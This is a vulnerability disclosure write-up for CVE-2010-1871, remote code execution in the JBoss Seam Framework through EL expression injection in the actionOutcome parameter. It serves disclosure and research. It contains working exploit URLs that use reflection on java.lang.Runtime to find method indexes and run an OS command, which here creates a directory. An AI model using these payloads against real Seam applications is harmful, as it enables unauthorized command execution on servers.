JBoss Seam Framework remote code execution

简介:  Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions.
 Here's interesting bug I found in JBoss Seam Framework, which led to remote code execution using JBoss EL expressions. Having any sort of custom expression language in a web framework is always a sign of potential vulnerabilities (see  CVE-2010-1870 for another example of expression language vulnerability), since framework developers will try to add support for that expression language to various components, and some of those components may in turn handle user-controlled inputs without developers realizing it.

JBoss EL
JBoss expression language provides all the normal features you'd expect:
  • Method calling:  #{hotelBooking.bookHotel(hotel)}
  • Property retrieval: #{person.name}
  • Projection (iteration): #{company.departments.{d|d.name}}
Variables referenced (e.g.  hotelBooking person company ) are resolved using various EL resolvers(extend  javax.el.ELResolver ), such as com.sun.faces.el.ImplicitObjectELResolver (use 'guest' username to view) or SeamELResolver. These resolvers let you reference server-side session object and it's attributes, request attributes and parameters in your JBoss EL statements. Once base object is resolved you can call arbitrary methods on that object. All JBoss EL statements are expected to come from the application's developer and not user, since it's possible to reach any other class and it's methods using  java.lang.Class  and reflection API. For example, we can obtain reference to the class representing java.lang.Runtime as follows ( expressions  is one of the base objects available by default, but any other object will do, e.g.  request ):

expressions.getClass().forName('java.lang.Runtime')

to get all of it's methods:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()

to invoke 19th method in the array returned by  getDeclaredMethods() :

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke()

JBoss EL does all the magic behind the scenes. If the method you are invoking isn't static, in which case you can simply pass  null, you'll have to provide an instance of the class to invoke the  method on to the  invoke()  call. you can use exactly the same approach, lets say we'd like to invoke 19th method on an an instance of  java.lang.Runtime which is returned by a static method at index 7:

expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7].invoke(null))


CVE-2010-1871: actionOutcome is remote code execution

After stepping through the  sample booking app , I've come across org.jboss.seam.navigation.Pages.callAction() which takes value of the  actionOutcome  HTTP parameter and eventually passes it to JSF NavigationHandler's  handleNavigation  method (use 'guest' username with empty password to view). SeamNavigationHandler is Seam's implementation of JSF NavigationHandler and looking at its  handleNavigation()  you can see that if action outcome starts with / (checked by  isOutcomeViewId()  method) then it's passed to FacesManager.instance().interpolateAndRedirect() method which interpolates (executes) all JBoss EL expressions in actionOutcome URL's HTTP parameter values using Interpolator. Once all JBoss EL expressions have been interpolated user is redirected to the URL with expressions output in corresponding HTTP parameters. So to exploit this vulnerability attacker needs to supply actionOutcome that starts with / and has encoded JBoss EL statements in HTTP parameters values, example on seam-booking sample application:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml%3fpwned%3d%23{expressions.getClass().forName('java.lang.Runtime')}

browser will be redirected to:

/seam-booking/pwn.seam?pwned=class+java.lang.Runtime&cid=14

in the request above we tell Seam that outcome of the action is at /pwn?pwned=#{expressions.getClass.forName('java.lang.Runtime')} and so it redirected us to /pwn.seam?pwned=<output of java.lang.Runtime class' toString() method>. And since attacker is able to see the output of her JBoss EL statements she is able to find out which methods of a particular class are at which array index. 

To execute arbitrary OS commands attacker needs to find indexes of the following 2 methods of the java.lang.Runtime() class in the array returned by the getDeclaredMethods() method:
1)  public java.lang.Process java.lang.Runtime.exec(java.lang.String) throws java.io.IOException
2) public static java.lang.Runtime java.lang.Runtime.getRuntime()

On my OS X, first method is at index 19 and second is at 7:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19]}
=>
/seam-booking/pwn.seam?pwned=public+java.lang.Process+java.lang.Runtime.exec(java.lang.String)+throws+java.io.IOException&cid=21

and

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[7]}
=>
/seam-booking/pwn.seam?pwned=public+static+java.lang.Runtime+java.lang.Runtime.getRuntime()&cid=24

Other operating systems and JRE versions will have those methods at different indexes, using the above trick you can find out the indexes in the application you are testing yourself (there are around 24 methods in total).


Final PoC will look as follows:

/seam-booking/home.seam?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()[19].invoke(expressions.getClass().forName('java.lang.R
untime').getDeclaredMethods()[7].invoke(null), 'mkdir /tmp/PWNED')}


upon successful exploitation you'll be redirected to the URL below and /tmp/PWNED directory will be created:


/seam-booking/pwn.seam?pwned=java.lang.UNIXProcess%4051e1fb23&cid=31

the value of pwned parameter represent value returned by successful java.lang.Runtime.exec() call.


Timeline
July 19 - initial report.
July 22 - fix committed. Developers blacklisted # and { characters in actionOutcome .
July 27 - JBoss Seam team releases the fix for  JBoss Enterprise Application Platform only . Note, however, that vulnerability has nothing to do with authentication as RedHat/JBoss team states, it's the problem in the framework and following steps above you will see that.
目录
相关文章
|
Kubernetes 监控 云计算
Docker与云计算平台集成:AWS、Azure、GCP完全指南
Docker和云计算平台的结合,如AWS(Amazon Web Services)、Azure(Microsoft Azure)和GCP(Google Cloud Platform),为现代应用的构建和部署提供了巨大的便利性。本文将深入研究如何与这些主要云计算平台集成Docker,提供更多示例代码和详细指南,帮助大家更全面地利用这些强大的工具。
|
Kubernetes 应用服务中间件 Linux
Docker 容器编排(compose)
介绍 compose 安装和 yaml 文件编写,实现容器的批量编排。
878 1
Docker 容器编排(compose)
|
安全 算法 Linux
CentOS7下部署长亭科技雷池Web应用防火墙(WAF)开源社区版
CentOS7下部署长亭科技雷池Web应用防火墙(WAF)开源社区版
2422 0
|
域名解析 传感器 网络协议
DNS科普系列 :被动DNS(Passive DNS)
在DNS领域有一些“专有技术名词(俗称行业”黑话“),不熟悉DNS和相关应用的人可能不容易接触和理解他们。从这篇开始,我们将帮助大家梳理一些DNS专有名词,本期的专有名词是:被动DNS(Passive DNS)。
DNS科普系列 :被动DNS(Passive DNS)
Debian 官方源换为国内的源的操作方法
apt-get update 报错,采用更换源的方式解决问题。
57621 0
|
JSON 数据格式
解决POSTMAN传参报错,JSON parse error: Cannot deserialize instance of `java.util.ArrayList` out of START_OB
解决POSTMAN传参报错,JSON parse error: Cannot deserialize instance of `java.util.ArrayList` out of START_OB
解决POSTMAN传参报错,JSON parse error: Cannot deserialize instance of `java.util.ArrayList` out of START_OB
|
存储 Java
【数据结构】优先级队列(堆)从实现到应用详解
本文介绍了优先级队列的概念及其底层数据结构——堆。优先级队列根据元素的优先级而非插入顺序进行出队操作。JDK1.8中的`PriorityQueue`使用堆实现,堆分为大根堆和小根堆。大根堆中每个节点的值都不小于其子节点的值,小根堆则相反。文章详细讲解了如何通过数组模拟实现堆,并提供了创建、插入、删除以及获取堆顶元素的具体步骤。此外,还介绍了堆排序及解决Top K问题的应用,并展示了Java中`PriorityQueue`的基本用法和注意事项。
353 5
【数据结构】优先级队列(堆)从实现到应用详解
|
存储 运维 监控
【Docker专栏】Docker日志管理与监控的最佳方法
【5月更文挑战第7天】本文探讨了Docker容器的日志管理与监控,强调其在运维中的重要性。Docker默认使用`json-file`日志驱动,可通过`docker logs`命令查看。建议选择合适日志驱动,配置日志选项,并集成ELK Stack等工具进行高级分析。实时监控、设置警报、分析数据和审计日志是实践关键。最佳实践包括日志数据与容器数据分离、使用日志代理、保护敏感信息及遵守法规。关注新技术以提升系统稳定性和安全性。
1672 10
【Docker专栏】Docker日志管理与监控的最佳方法
|
Kubernetes 负载均衡 持续交付
探索现代微服务架构下的容器化技术
【4月更文挑战第13天】 在当今软件开发领域,微服务架构和容器化技术已成为推动云原生应用发展的关键因素。本文将深入探讨微服务与容器化结合的优势、面临的挑战以及实践中的解决方案。我们将通过具体案例分析,揭示如何利用容器化技术优化微服务部署、扩展和管理,同时保证系统的高可用性和弹性。文章的目的在于为开发者和技术决策者提供一种系统化的方法来构建和维护高效的微服务环境。
|
Kubernetes 云计算 开发者
云计算中的容器化技术:Docker与Kubernetes的实践
云计算中的容器化技术:Docker与Kubernetes的实践
1328 0